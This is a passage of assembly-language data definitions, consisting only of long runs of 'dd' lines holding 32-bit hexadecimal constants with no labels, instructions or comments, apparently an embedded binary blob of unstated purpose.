		dd 0A39D8E4Bh, 310FAC61h, 0CE306FB0h, 0AEF4A046h, 0BB3E93h
		dd 702FDDCEh, 0BE06A01Eh, 9D03C7FCh, 0FAFCEF15h, 0A128000Bh
		dd 2CB105F2h, 0AD30BE62h, 0C15019E5h, 0E7213A0h, 647400FBh
		dd 0C56614B5h, 8100B17Eh, 1C3D52DDh, 9865FF79h,	0F0DF4F1h
		dd 72EF16BEh, 51A9E0A0h, 954A3796h, 6A9C0C00h, 0EC06CA6Bh
		dd 2ED202CDh, 2B23F65Ah, 0BAF7060h, 0C0F8122Ch,	403ABC42h
		dd 17E5C844h, 34F9320h,	0EF2B0C54h, 0B65D72C0h,	880013FEh
		dd 0AD534A5Ah, 0DA7B6Bh, 5B9016D1h, 0BFA8CEBEh,	4842F331h
		dd 0F7EDBB3Fh, 6663D4h,	0C9C59DCDh, 0D2E10A77h,	41064DF4h
		dd 0D0D73C20h, 406A6030h, 44620A74h, 8369D300h,	0CDE984D5h
		dd 0B40007Fh, 0CE3CB38Fh, 3903F49Dh, 9A1BB027h,	524398DBh
		dd 1EC6005Fh, 73688A08h, 0EB17C74Ch, 0CD1F5D80h, 1856DC80h
		dd 1076282h, 0A8CACFB5h, 8E2D385Ah, 8FE4BB38h, 6A5C2717h
		dd 0E6D98000h, 0A0030F51h, 12000727h, 0B795D498h, 1CF26504h
		dd 0DCB0BF36h, 0B4B96Ah, 7C10C3CAh, 8C2812AFh, 0CC90A01Bh
		dd 0F8E22216h, 9CC5444h, 7F05E8DAh, 91CCA2B5h, 30D85840h
		dd 8000A4E8h, 6CE414E7h, 795C770h, 2F31FC90h, 0BCC0074h
		dd 1000FEEBh, 0B2E5462Eh, 58DBFFDDh, 5F0FD88Bh,	0B7C038C4h
		dd 41DA9064h, 1DEBAD39h, 42C279AFh, 0C085398Eh,	7CB220h
		dd 0BAA3F5E5h, 5421989Fh, 2B8CE801h, 0FCB56D39h, 902E09C0h
		dd 2720792Ch, 0C080CCA9h, 0EF275576h, 9CF61609h, 0FEAC0050h
		dd 6C5C37h, 1335C48Ch, 0BABDABF5h, 0A8C09476h, 0E08BF738h
		dd 9B5A00C2h, 6D2FA1DBh, 0FF1234D4h, 0F300AE37h, 3B68F505h
		dd 0E406006Ah, 0CA119CA3h, 0C400AF1Ch, 0A53DE357h, 0CC4C82h
		dd 78DBFBA7h, 1575BE58h, 0E45AD302h, 0C0124988h, 34BCC54h
		dd 6D747C82h, 8BE9CDC2h, 0EE448010h, 44522059h,	95B58FBh
		dd 9B04CB3Eh, 0C004B103h, 589F09B0h, 7002B300h,	290BAAACh
		dd 0E4E6000Eh, 0D99EE131h, 88008CC7h, 8A8945CDh, 7820B013h
		dd 0A8EA0907h, 6C9A32ABh, 8FDD7D40h, 576D3112h,	0A82FD70Ah
		dd 2840282Eh, 890D19E4h, 5229DCAEh, 8E464900h, 9DD40407h
		dd 0ADCB008Ch, 4C51FA03h, 0FE3A81EBh, 9FE080D0h, 7363357Bh
		dd 0ECA8A859h, 0ADFC0454h, 9029F1E2h, 0E40DA52Ch, 0A2C5B601h
		dd 0FDB9563Dh, 1259A3F8h, 1DB7DE13h, 0BDE44954h, 67014B0Eh
		dd 31A11816h, 7B3DCCAFh, 565C5200h, 0CC17F80Dh,	0C603132Fh
		dd 6DF6006Ah, 31D838D2h, 3ECFB601h, 437619D3h, 0E453420h
		dd 0E7B3A83Ah, 4A84D136h, 0D40F2087h, 71852700h, 0D6F20B5Bh
		dd 0C277DDh, 5193C3E1h,	5EEB658Eh, 30E7D80Bh, 746C02F5h
		dd 508178FDh, 752E9826h, 52C5384Eh, 0D5C992h, 0CA450884h
		dd 0BF011860h, 7F82B725h, 9CC81F05h, 0F6FC7Ah, 0D2DB39ECh
		dd 12AEC77Bh, 110D890Fh, 341F8755h, 0EB7CCD70h,	0E0824806h
		dd 30BC731Ch, 8B38F511h, 0C53A5624h, 0E612CE00h, 120A4090h
		dd 16D31411h, 490400F0h, 7A7E4E35h, 0D9C740h, 96D1CBABh
		dd 0E613C651h, 7976BF03h, 0F0E35409h, 77817541h, 149861h
		dd 4E5666ADh, 725F8B2Dh, 65D75900h, 31A51603h, 70BD4802h
		dd 8C808600h, 7CFB1C0Dh, 602F6B01h, 480CE3B2h, 5A1110E4h
		dd 0F1980194h, 0F8048C5Eh, 8A096CF3h, 980E02ADh, 42FCBA4h
		dd 0D1C6F557h, 0E20E20Fh, 855D100Dh, 4000D948h,	92423666h
		dd 79D577FCh, 707D6Eh, 0E265D0D3h, 0EA8CAB01h, 434B6D25h
		dd 46103C0Ch, 0BE7439Fh, 4090B54Eh, 95002EBBh, 78CC1CF8h
		dd 9A2AADCh, 405E7F39h,	0EFE59C00h, 8160C5ECh, 192368E6h
		dd 23600A4h, 854364A5h,	98A00374h, 65036BAAh, 17AECEB5h
		dd 0F4AFC058h, 1D152ADCh, 42214BC0h, 0D2A13A14h, 0E42D0841h
		dd 9F507BB8h, 0EE13DEF1h, 660093CEh, 24B6C92h, 1DA744Eh
		dd 521785B7h, 0DC22E9E6h, 2B7A9F38h, 46349500h,	5E5BCC92h
		dd 0B211D15h, 0DC3784DBh, 2630B0C8h, 0E926D1Bh,	0C1190A8Ch
		dd 0E93C11h, 0F675658Dh, 9109F1EEh, 0C1662h, 0F5215044h
		dd 57700723h, 96DF7Ch, 0D9522B12h, 8B3638h, 66139FD4h
		dd 0C7C0623Eh, 0E01E1FE0h, 0D3748728h, 0D46BB501h, 61CD567Ch
		dd 0D770F9F9h, 639F0BA5h, 2407AB31h, 995D536Ah,	7AB9DFB0h
		dd 1764A11Dh, 0EA024680h, 3E021F9h, 6C9D36FEh, 0CCCA8087h
		dd 58852460h, 0C400389Eh, 48AFB5C5h, 0A9FE0010h, 63496F1Ah
		dd 8E05B128h, 2C7D2E08h, 7CEFE8C0h, 92D8004Ch, 9BF87ABCh
		dd 101685Bh, 0E0B6121Fh, 55D58845h, 99C31820h, 32DF0228h
		dd 7220CCB9h, 4CFD3693h, 60391C10h, 90CB8317h, 0D4E6B38h
		dd 0DD84F700h, 80259BA8h, 15215E4Bh, 0AD0B18B0h, 0FCC06B83h
		dd 820160D5h, 0DF03B47Dh, 94223EC4h, 56929E0Fh,	0BE73C0E0h
		dd 1700F241h, 3155BD94h, 1BA2864h, 0C96DB880h, 0E82AF827h
		dd 98002ECCh, 75CF19F7h, 2557C9Eh, 0C54BAA1h, 0F0D933BBh
		dd 0F38A4A04h, 63CD80BEh, 1817878Ch, 3A02FB5Fh,	4099ECF5h
		dd 0E760ECh, 2E482455h,	0A9D886E0h, 0E1DF203h, 1CF875B7h
		dd 0C0AFBE90h, 74DF5E73h, 7E3B1A2Ch, 0D05B0036h, 826CDDACh
		dd 3D0800E1h, 5529A081h, 153841E6h, 63E78925h, 0B22B0469h
		dd 0CD6C8E0h, 0F93357F4h, 3513B680h, 4246F81h, 44B12895h
		dd 2AD460h, 0D27CD308h,	0E40F978Bh, 5F2C3E03h, 0E8C2D5FDh
		dd 2F7DB0DAh, 0E000B83Bh, 0E5EAA160h, 6A772Fh, 0E27ACA4h
		dd 5AA5382Ch, 30BADF82h, 0F4F877C0h, 8FE80A4Ah,	0A68B8600h
		dd 0BDE8C5FCh, 33930E00h, 6167A32Ch, 1F3B097Ch,	0F0255594h
		dd 3BE8F21Ch, 0BDD801Ah, 13B92257h, 0ADB01DD2h,	6EE1008Eh
		dd 20CB8AF1h, 3200C874h, 693EDABDh, 90EBA179h, 46E73E70h
		dd 0FD80F4B9h, 0C49F9174h, 0F55E18EFh, 0AD0F0830h, 3CAB5C77h
		dd 47353303h, 0E988D622h, 715A8ECEh, 1CD14C00h,	26F9B60Fh
		dd 0C869DAh, 4934F496h,	8A30CF2Ch, 840DF05Fh, 0E43B0086h
		dd 5A220AF0h, 3A00DA6Dh, 1211C332h, 7702F6h, 97076008h
		dd 5F912303h, 0B976CF00h, 821AFF4Dh, 0F6DF489h,	53AD7567h
		dd 198080A9h
		dd 3D9AA20Dh, 0ACDA5E00h, 0F9937752h, 0DE200329h, 0ED951DCh
		dd 16CC57E0h, 4400535Bh, 922DA483h, 0F21E00FBh,	937E8D76h
		dd 0D30132D8h, 35D0BAF6h, 0C3C82394h, 0A8B88Ah,	9AB2826h
		dd 0A2C4B7CDh, 655B6900h, 4DE10B40h, 90EA7A2Fh,	6D72C0h
		dd 6A67C32Bh, 4C535D1h,	5548BB0Bh, 0CEA86073h, 6E4700D9h
		dd 0EC71F2B9h, 0E30469A4h, 395ADD91h, 59B8DE00h, 0DB48A90Ah
		dd 88F30384h, 0C89386E7h, 9765C6h, 7A63E390h, 0BBDCD939h
		dd 54D0E500h, 0A53740B8h, 11CE3056h, 6B80C6E8h,	0CF4A08E2h
		dd 0C942C402h, 1244472h, 0B340829Fh, 80866895h,	0F1A1D220h
		dd 0EE85E689h, 677D279Eh, 5C0108Eh, 0A9FA52F5h,	0E809E50Ch
		dd 0E6BD0D7h, 0D6F4E3B7h, 631441C0h, 0EC999FB3h, 0FA71209h
		dd 0DA55E000h, 4BFAB779h, 0FBB842h, 0FDB8D93Eh,	1A3AF8h
		dd 7DD49E14h, 0CC90CA78h, 52568D05h, 0E08688C6h, 62720098h
		dd 543E1932h, 3102A4BAh, 840E0377h, 0E690C0F9h,	7FC3857h
		dd 0A5E81FB0h, 72B08A3Fh, 0FE7FA0A8h, 0E7485503h, 0E8D5F354h
		dd 769CB4h, 193F412Dh, 0BFC5AE8Eh, 0CB11400Eh, 518A60DCh
		dd 1CF93Dh, 0C15D99F8h,	673CF084h, 0D80A2205h, 2080E546h
		dd 0A08CBDh, 80AEB1B6h,	2A48101Fh, 4B42053h, 36C81B8Eh
		dd 0AD54A0h, 5AF74825h,	7E24970Bh, 0B4B09E00h, 418D3520h
		dd 0C2FB0203h, 0B7BC6586h, 0B637E4C0h, 111AC102h, 0E09DB561h
		dd 339C498h, 9AA63117h,	0F8809BB1h, 0A400F757h,	5489D8D3h
		dd 2696EA94h, 12C40F3h,	95A2EB8Dh, 0E4003A2Bh, 9434E50Dh
		dd 314400E6h, 11D9891Bh, 3B073F2Fh, 0E1DCAE0Fh,	2D80C9C4h
		dd 157CCD5h, 7338CD7Eh,	0E85E7BFCh, 0F6019B6Eh,	31E5FE3Eh
		dd 7064837Dh, 4CB700C6h, 6465C2A6h, 800EA196h, 0A082B54Ah
		dd 0C7625220h, 4074010Ah, 2114EBE6h, 273C3405h,	0E0D5AA01h
		dd 0BFF08642h, 0B9E8A050h, 465417ABh, 50CC802Ah, 0C3134CD1h
		dd 0CB058E9h, 0E8F3E820h, 803A2731h, 900D844h, 487C3FB9h
		dd 0E48C49E1h, 2736E8EBh, 506478D3h, 8BB34E40h,	272604F4h
		dd 0D68BDB41h, 181E3A83h, 0D328B828h, 490F204Eh, 1D3A4874h
		dd 76375028h, 8E20B438h, 46EE0E2h, 498497B5h, 0C9484DFh
		dd 0A520A914h, 4658AB0Ah, 50210C16h, 0C0643F0Ch, 63AC00A9h
		dd 92249445h, 7D009566h, 8B06BA2Eh, 0AB043Dh, 5EA33564h
		dd 0BCAC4BF8h, 0BDEF5500h, 52A289A6h, 1A0426CEh, 821D58h
		dd 7DA4BB70h, 9F3EDABFh, 931007A0h, 0E0940F0h, 0D7C5A0ADh
		dd 9EEE197h, 0BB752D7Ch, 2AD49B00h, 5E0E4D2Bh, 61BD51B8h
		dd 30CBD116h, 871270h, 0F5921C3Fh, 8BBEC173h, 14B339h
		dd 0A8D4017Ah, 90C8EE94h, 1CF10187h, 13CF2580h,	0B090E485h
		dd 0C99EF00h, 0C4D8D020h, 17AB00FEh, 0FBB3F557h, 0EC00DBA4h
		dd 8D09856Eh, 0F779FCh,	0AC044758h, 0E827A7E3h,	0D32E6007h
		dd 0B8B4BBC7h, 59D4CF0h, 327714F5h, 3AD0062Bh, 0A9600803h
		dd 14EDF621h, 42320040h, 0BCB4200Bh, 8801D4CAh,	0C3A7EF87h
		dd 599169BDh, 14FE80A0h, 8C033274h, 0FDA244h, 0BF8C14F6h
		dd 85A8109Eh, 0A7254601h, 404B4275h, 79F8688Ah,	2CCE01F8h
		dd 755AEE8h, 78C77087h,	9950EEF7h, 0CC68D7C2h, 95217E08h
		dd 5B786100h, 2BB4935Ch, 744D0658h, 58476B42h, 232C80D0h
		dd 787709E6h, 22809805h, 0AB207C2Ch, 1D2D787Fh,	0C09D81EEh
		dd 156B0D77h, 0A328B7EDh, 0BC5884B6h, 685130C9h, 0B9D11Dh
		dd 26157B72h, 0B72D505Ah, 3BECC712h, 0AE046445h, 37988841h
		dd 773026B0h, 0D7950FA3h, 7B2E4EF7h, 9FD31360h,	74506ABFh
		dd 7EC51B4h, 3070AD60h,	2184D87h, 22F93B2Ah, 4D603E84h
		dd 0B8001E0Fh, 97DD574Fh, 7A62ECEBh, 0E11E61Fh,	6A20989Ch
		dd 683115E3h, 6B962388h, 0FB1B0500h, 11C8DA8Ch,	33A1987Ch
		dd 8308A418h, 95D42100h, 2357E5DAh, 0A00C0006h,	0EF31982Ah
		dd 83001F6Ah, 5605682Eh, 30306514h, 9B399516h, 0D5015FB1h
		dd 60068AAAh, 80805C08h, 0A2FDB235h, 0C007D49Bh, 7365921Bh
		dd 1A06C547h, 256B0F38h, 9CA057CDh, 8467F4A7h, 2D08D066h
		dd 0C55F0021h, 0C68E9E57h, 16283C52h, 35006882h, 98A1E5E7h
		dd 6060AFF2h, 5B82A885h, 7C1D0907h, 4C7DC1Eh, 95F719FEh
		dd 4FD12970h, 0BD0A24B4h, 59F80021h, 243DE40h, 0BAC5CB00h
		dd 2E240B5Dh, 0EC4F0EA9h, 5CC05499h, 505B469Fh,	3FA02200h
		dd 62E3D757h, 51B40C41h, 78E6E488h, 0DBCC4400h,	0F0DE0604h
		dd 0BA500063h, 21608719h, 7107F638h, 0AC3AC9F8h, 0DBCBE3F1h
		dd 44AED8h, 57CE63F7h, 0A1B2D296h, 6C00B0F8h, 81AD37F4h
		dd 5E14D1h, 0F2D58CD6h,	0DC18B736h, 922E4500h, 0B3578A39h
		dd 30BE0084h, 0C0703D24h, 1E0177DFh, 90F5F0EEh,	7BF8944Dh
		dd 0A9505A6h, 803A8793h, 67C82810h, 0D8209718h,	0C0948208h
		dd 0C6C26520h, 8301C3C1h, 68E4041Dh, 8897906Fh,	66A2B00Dh
		dd 1F1F5CB8h, 2B0197FDh, 92CFED0Bh, 0F5A74080h,	0F5D5CA8h
		dd 0D3B73706h, 6F084714h, 31202188h, 0D15FF95Ch, 180012E8h
		dd 97D2BF1Ch, 3A7071Ah,	56939895h, 307801ACh, 0E6D46A01h
		dd 0B3EF783Ah, 0CCD783FCh, 41216808h, 0B8E6EC3Dh, 61FE86C5h
		dd 2058533Ah, 79C0BDFCh, 20F1AA95h, 293E0055h, 0EE746147h
		dd 26EA97EDh, 0FD8AC400h, 78374090h, 0F480301Eh, 0BC68AA10h
		dd 9848A26Ch, 0EB048C57h, 0D7783DE6h, 4A206762h, 3B9BE6E3h
		dd 0CB80BD6Dh, 0F65CA684h, 0FC141A5Dh, 3AC5AF8h, 0A74E6F9Eh
		dd 60E4D296h, 0C09C23BCh, 5DB30A40h, 1A03A955h,	1206F843h
		dd 0AF083393h, 11FFDD21h, 0E0FFBFF3h, 6E07CE78h, 1C1AC4F2h
		dd 7E606996h, 309260ACh, 0E8023FC3h, 60E5753Ch,	99814678h
		dd 0E71B00FCh, 5F5A16AAh, 0DC00513Dh, 3C096113h, 25F8E9h
		dd 46C5CA02h, 0D596491Bh, 2CD10E00h, 4C905FD9h,	6BFC0056h
		dd 6F329E04h, 0F000B11Fh, 0D5B2330h, 9A3AB2h, 0B34645D3h
		dd 0CED194EBh, 0E4C4B800h, 418A9E2Bh, 0F1E9072Ah, 235C727Ch
		dd 33B0C546h, 497C548Fh, 0BDA67700h, 0F0BC8A1Fh, 0FB2E6CEh
		dd 31E072EBh, 7087F2Dh,	0A1EF00EDh, 0AD1898D1h,	0DC714C6Fh
		dd 0A87134h, 0FF4353Ah,	56CAAFC4h, 52C98A02h, 4108546Ch
		dd 3180403Fh, 1EF37E89h, 33019FD0h, 37974327h, 25D44C4Ah
		dd 0FED50072h, 0C940E8BFh, 0A106AB4Dh, 23D3C251h, 0A76E0041h
		dd 0B99D8636h, 0EAFEC5D8h, 0B2003775h, 57244647h, 60D361DEh
		dd 39CF3122h, 7898D953h, 2F0FD700h, 0F911CE64h,	5EE80092h
		dd 0D833CCAh, 8A38F19Eh, 3802006Ah, 9CC13FD9h, 98726F9Ah
		dd 34361880h, 0BB141FE0h, 3A4F8A7h, 7ABD12B3h, 61B01425h
		dd 7C9C08h, 0B9175719h,	0A7E7C0FFh, 37683D00h, 0F7CC4AEh
		dd 0E57B61h, 2EBC4B1Fh,	3324E667h, 0F37ED63Ah, 86966A00h
		dd 9CC0150Dh, 4265310h,	0A1DCB980h, 0E107B5D5h,	6E35160Eh
		dd 733669C0h, 22576D7h,	44261E6Fh, 0AC4067F5h, 2130CFDCh
		dd 0B3AD4037h, 1B230039h, 0BBB77132h, 1E00658Ch, 68C3E453h
		dd 609DFBA7h, 749C2040h, 0C8F8700Bh, 840820A7h,	3188C796h
		dd 871AF8ACh, 336B46B1h, 4874ADC0h, 9A56304h, 2000C371h
		dd 8D337366h, 35D4239h,	91931D96h, 0B8005604h, 3CDEA57Dh
		dd 0ECAA82EAh, 13738018h, 0E82D2506h, 0FF68279Fh, 548470D0h
		dd 309405h, 0A3B4F45Eh,	9B68175Ah, 2F085B66h, 56500021h
		dd 7A1EFAF4h, 4C6161ACh
		dd 32A02119h, 0D9B448h,	6E38395Eh, 0E830532Dh, 0AD296760h
		dd 7FF0289h, 5FB91418h,	62FE81A3h, 71BBE019h, 0A44758h
		dd 56E64A6Eh, 600E6B9Ch, 0B5205934h, 0B6135DC5h, 410C24B0h
		dd 0C0280829h, 0C5AD0321h, 8003126Ah, 0F6D69157h, 42780017h
		dd 325D2255h, 58002AE1h, 5A797C06h, 66CFF595h, 0B046163Fh
		dd 7E6D4F02h, 0E1AD55ACh, 9C401E8Eh, 481A9FAEh,	5B00100Ch
		dd 9D46EB3Fh, 7800B845h, 0AE52FA3Dh, 8CAC74h, 0F9172B9Bh
		dd 0A776EA4Eh, 0FA1CF18h, 0B28138h, 32289CFFh, 0DB4B100Ah
		dd 9506B49h, 0E770FCh, 373A9374h, 844661Dh, 2F01C1F9h
		dd 0A374E769h, 0B459A621h, 110072DDh, 9FFABFD5h, 2939BC00h
		dd 646699A3h, 7798019h,	0DEAC1050h, 506032F8h, 0B6E57118h
		dd 0A0396089h, 4CA9824Dh, 0D904F0C0h, 3718072h,	7AEF6DD6h
		dd 48D8A546h, 1802645Dh, 77A9A369h, 3DE480F0h, 0D035C6DEh
		dd 4077E888h, 0E90CAF02h, 19397F30h, 31ED64D6h,	673C822Dh
		dd 11F4B130h, 8862A3C1h, 495F8033h, 0B57E76F4h,	696CDC14h
		dd 484A10A8h, 0FA9EE506h, 0B4A0C831h, 4823005h,	766049B4h
		dd 0E5105BE7h, 30DC3B83h, 0E76F2921h, 68F70F00h, 0C6A1C5FEh
		dd 5B320647h, 61343DCFh, 2A758311h, 0A0883018h,	23608DAFh
		dd 5D762920h, 0F8570560h, 0C1186E9h, 0D9C91BBCh, 44529914h
		dd 814C4890h, 1FDB7113h, 468C28A0h, 0F48C0262h,	316AA3C6h
		dd 445E1029h, 135301F4h, 70BC666Ah, 0B77BE886h,	903E7530h
		dd 3779AC85h, 0D2602FD3h, 0E5E0FD03h, 0FB50CE99h, 0EC49DBC8h
		dd 1035834h, 0C373208Ah, 0E560BC7Ah, 34F7BACh, 0E7BDD92h
		dd 8C92ED2h, 108193A5h,	0C1AD5C08h, 0E9733366h,	0C01E186Ch
		dd 336E6521h, 0C70294DEh, 0A3AF45FFh, 409C6A29h, 8A1FD1C4h
		dd 0D2705441h, 58186E11h, 0A3CAF408h, 4337C44Ah, 0A0F4505Ah
		dd 72BC63h, 6F165CE9h, 0F0A887CCh, 0EC7EBE00h, 0AF7658F3h
		dd 4C5124B3h, 60504418h, 7966E771h, 0C03A42E5h,	0E9E76A62h
		dd 56D401A5h, 9AD95F7Bh, 0A8F0D41Fh, 1A21FB14h,	42513A6Ch
		dd 6036E91Fh, 3FA9AD09h, 0F208076Eh, 43221EC2h,	0AC3ACDA4h
		dd 1E000B23h, 783907D3h, 23728Ah, 1DE5AFD6h, 0EC6C3A34h
		dd 0AC0B4026h, 0C1816F11h, 0DEB6B1C5h, 7740B433h, 3047C5B9h
		dd 0F823EE26h, 8224AF44h, 11206BDCh, 0CE4D8BA4h, 0CF8662D0h
		dd 8C26F909h, 826908AAh, 6847AE04h, 4C2379FCh, 0A0996435h
		dd 1DC71869h, 66B6B3C5h, 0BF7570FCh, 3FFFC500h,	0B0A0E793h
		dd 20972AEFh, 5D56068Ch, 18CBADACh, 159D22h, 3591DAA5h
		dd 61D25C3h, 0FFBAD400h, 9AA8121h, 7BDCA02Dh, 0A7200CEBh
		dd 0AC1047F5h, 0F78DD600h, 2CAD656Fh, 0C827C48h, 4E47793Bh
		dd 130921C0h, 110485D0h, 8BE1690h, 0C706AFBEh, 0B9360E60h
		dd 87C13Ah, 35C568CFh, 59CAF796h, 318BCADh, 0D61E4101h
		dd 0C4311D01h, 54CAB38Bh, 0A1C8C70h, 2C84C382h,	11B70034h
		dd 0F7B7A91h, 23B39204h, 74806EC4h, 0B976C5D1h,	55860024h
		dd 631FE9DAh, 3390B464h, 94C16A40h, 882F549Eh, 0B516E029h
		dd 61170597h, 88D7D20Fh, 0A0F64C48h, 803DAD3Dh,	6C315BD5h
		dd 7FBA6DAh, 0E6494180h, 0BA785026h, 82125376h,	0B0221465h
		dd 0E7753044h, 8BE55A0Bh, 47C163Bh, 5FE76E2Eh, 520C80ACh
		dd 41773CDAh, 0A22E112h, 2E033805h, 524E8040h, 2F24ADh
		dd 0D305A61Eh, 0A0E8EA7Ch, 7194F936h, 48564680h, 0E56809F8h
		dd 0F5F0315Bh, 605C8180h, 84077AE7h, 0CBA92B09h, 0FC3486D9h
		dd 5091FD20h, 0E77C8057h, 9973E55Dh, 55B3C018h,	601D82E7h
		dd 80FD2063h, 0ECD5577Ch, 7B5F0D0h, 3023FDE1h, 0B403D16Eh
		dd 0AD1C6413h, 35832116h, 3F79FC21h, 3260E835h,	1B4404F9h
		dd 8006D611h, 4667F5A8h, 8568800h, 6879EE0Fh, 5E6A007Bh
		dd 0BE74709Ch, 7D745497h, 0C2943402h, 607B47E1h, 2C469684h
		dd 13243203h, 0A8BE00B8h, 0D2E9B688h, 64707348h, 9090F529h
		dd 7B5BA3BDh, 0F19F002Fh, 0AF1DF70Ah, 4629583h,	482A8520h
		dd 0E40550h, 0A3B0D5D4h, 80F3B9A2h, 8DE70D01h, 0BBAA39C9h
		dd 4C27B6C0h, 0BF237C18h, 71336001h, 1F18BCADh,	13705B89h
		dd 0CF1800B1h, 239F627Ch, 0A6E03B3h, 0B99B2021h, 1FC8D8DAh
		dd 0ED36901h, 932519BBh, 0C79400FDh, 9E89254Bh,	1989C5Dh
		dd 18D4859Bh, 39D082DEh, 63650956h, 944Dh, 74830E37h, 97F7C312h
		dd 41034020h, 541C92F3h, 0A29A94BCh, 622C67A8h,	91917F4h
		dd 265D72C8h, 40BC8AD4h, 526644E0h, 0A3B853EEh,	0B3A80A05h
		dd 0B80519A1h, 0BEC058E5h, 0A0349F79h, 19A57ED8h, 90C635F2h
		dd 0A745108Eh, 68165DB9h, 0CB647912h, 0C03DC804h, 0A177CC61h
		dd 0B1D2490Ah, 0C60F8DBh, 0E4DE833Fh, 0FFE60C38h, 67ED762h
		dd 1727B904h, 4B80F4D8h, 2CAA9CEBh, 7CC004E5h, 5B000B46h
		dd 38581801h, 2F0098DAh, 56E9E6B3h, 24602999h, 839C3B0Dh
		dd 859725A3h, 731824E0h, 481AAE26h, 4BF5465Eh, 3F288502h
		dd 0FEB08098h, 184E8870h, 0C832A19Ah, 7928CFA7h, 0FD00B02Ch
		dd 6208E258h, 0D60EEFh,	41D768Ah, 0ABF47D3Ah, 0F893707h
		dd 383CCB3Dh, 0F024412Dh, 3861E5A2h, 4003E051h,	7B093022h
		dd 6CC4BDF5h, 0E62D3E02h, 0AB4DE831h, 912497C0h, 0EDFF802Eh
		dd 607031BCh, 9943191Eh, 0F494FBAAh, 4720288h, 88FA8411h
		dd 973DDC98h, 1174DCE8h, 470131E9h, 3E128565h, 0C028804Ch
		dd 64563318h, 0BED00B7Bh, 20A2680Bh, 584876E9h,	2A1BF1A7h
		dd 0C87023D1h, 18B45E7Dh, 20361AE1h, 28146A10h,	0F12055ACh
		dd 5918C591h, 28609C2Eh, 0E1C5B4C3h, 1C1828B6h,	0C5AC808Bh
		dd 1207272h, 6AE30711h,	39D81D3Ch, 1B017328h, 0DEC39503h
		dd 7ED8CBF3h, 141F0001h, 0E5AD7ADh, 3D3CD99Bh, 64084E32h
		dd 0C5CBC055h, 0C046B65Fh, 1072222h, 90CFC5C3h,	0E4A721D2h
		dd 0E92D37B4h, 99A38081h, 0C0A44DC2h, 8030224h,	0AA68FE82h
		dd 6284797Dh, 3C580785h, 0F78B9000h, 6052288Eh,	0B1B5001Dh
		dd 0E669FD3Dh, 3BE0E19Dh, 0DCBF0200h, 879619B6h, 0B9FE009Ch
		dd 0D5694E1Eh, 0C270DABAh, 0B3805000h, 0A1673FD0h, 0EF84003Eh
		dd 104ACCAh, 0F9005B6Ah, 0A32F0A23h, 0CBF082h, 9DFB0880h
		dd 0C420CE36h, 0F9CD4001h, 6CACD91Ah, 2301470h,	0AB96AF4Ch
		dd 0C7406D44h, 0BCC09828h, 0A59534C9h, 4EF0E6h,	0AEC640DFh
		dd 7AD9C8B7h, 0FFA3D13Bh, 6A242398h, 96006EDEh,	36D38FC2h
		dd 9410011Eh, 4E3D903Fh, 0FA5EF86Ah, 0EBDD8600h, 89655D26h
		dd 94126BDh, 7D803C23h,	4D915E8Ah, 3E00F854h, 736FDBC2h
		dd 0D3EFA0h, 0DF19FE16h, 72AD96A7h, 0B0F3BC3Ch,	7D210DCh
		dd 4BBD1CBEh, 61934080h, 98DBC32Eh, 0E7CC4800h,	37427591h
		dd 0D2A700E5h, 7DB4CF3Bh, 12002BF7h, 0F9DA9267h, 0C67581h
		dd 0E3B5E169h, 6D267E2Ch, 673DA707h, 5307F16Fh,	1AE49FF0h
		dd 78866073h, 0ECD25FBAh, 93EA4A07h, 0C90DBC8h,	1B06847h
		dd 0F9BDCD72h, 0EC35FB26h, 5500C464h, 0A8D68F39h, 4C0E03h
		dd 0C9364268h, 0A946BB87h, 0DEAB730Ch, 1E6348C6h, 0A4E40408h
		dd 0F0D5BE24h, 0B88880EBh, 2CE0A113h, 228630h, 0D48D2E1Dh
		dd 0E5B220BAh, 0D3CA9A00h, 0A1B7FD4Ch, 671B0008h, 0CE8D61A0h
		dd 781FA7EBh, 9C002B0Eh, 0D30D9845h, 0FF69C0A2h, 4479161Bh
		dd 0C735E400h, 5AA0F25Fh, 0E6BA127Fh, 5914004Dh, 0BC87C3C1h
		dd 0DF945500h
		dd 2739CE2Bh, 71500519h, 80B783EAh, 20E02A19h, 0C8907338h
		dd 0CB870428h, 0D700AB3Eh, 0D55258A6h, 6E257200h, 9ED244FBh
		dd 2030022h, 0CE99387Fh, 0CA00131Fh, 206ACC70h,	76BAEEh
		dd 0E347F26Dh, 0ED3788E0h, 163B6100h, 0B1B0C31Bh, 40FF00A4h
		dd 255F05C4h, 6E42F24h,	44F0701h, 0A4FE5ABDh, 710CF9EBh
		dd 0EA67E8h, 2B1ED5A1h,	0BA280275h, 0FA0AC972h,	0E0DE6F57h
		dd 879EF200h, 243F8Ch, 0CB98EA6Bh, 0DC05DB8Fh, 0F380E100h
		dd 0E099063h, 7C57246Eh, 464080B8h, 78B916Dh, 13DAAE00h
		dd 42CB26BEh, 0F3503E09h, 0C19DCC96h, 8034D72Ch, 4656D4C9h
		dd 25F52Fh, 6C6ED5A6h, 0D15F6533h, 0ED54A201h, 2A668271h
		dd 0C70C60h, 325389E6h,	0C972F13Ch, 0F56900Eh, 9D7A205Bh
		dd 0DFFA06h, 7627031Ah,	26FB3CCCh, 1FC4B1Eh, 7CB31780h
		dd 0C1AB18h, 2EF4FE73h,	6516C26Bh, 0ED01F174h, 96A40A0Dh
		dd 0E4500C7Ch, 66C7D655h, 0D8F41AE8h, 7875FD26h, 0B2685880h
		dd 154C0Ch, 7462EBCCh, 0D4F81BA1h, 0E382BF00h, 40D65EB4h
		dd 1C434CF4h, 0C484B303h, 0E8BBED9Fh, 6A98A988h, 37045F00h
		dd 4DF63F93h, 0ADD53B67h, 80C5F99Fh, 7CF3EA9Eh,	6C00EC37h
		dd 840FCA79h, 726F888h,	9DA5D423h, 2E400B3h, 280CD7CEh
		dd 202C4BFBh, 3278047Ch, 814D99A6h, 342504B8h, 37124FD4h
		dd 8F0660F0h, 51981Bh, 51D9E827h, 0D7977646h, 0C315D400h
		dd 0F04F49BAh, 441E03EDh, 96758419h, 0FBBEEBE0h, 7BD71107h
		dd 87EE6DF8h, 1FB086ACh, 1CC5E73h, 46FFAECDh, 30210678h
		dd 3679A9F0h, 4E0DE001h, 0FB4233D0h, 0EC78ECh, 91D9B6DDh
		dd 51C41483h, 17A1E401h, 0DB27A76Bh, 3E4E30h, 0D6FF6DA5h
		dd 0C9FB909Ah, 7636F600h, 0D1D0A37Bh, 40E059h, 0A7A6C009h
		dd 0AE480A9Fh, 0D7148018h, 77C2C462h, 545F07E2h, 0C0E4D1DBh
		dd 0C8F0037Eh, 0D9958F00h, 72AE56E8h, 0EEB00F3h, 7B171147h
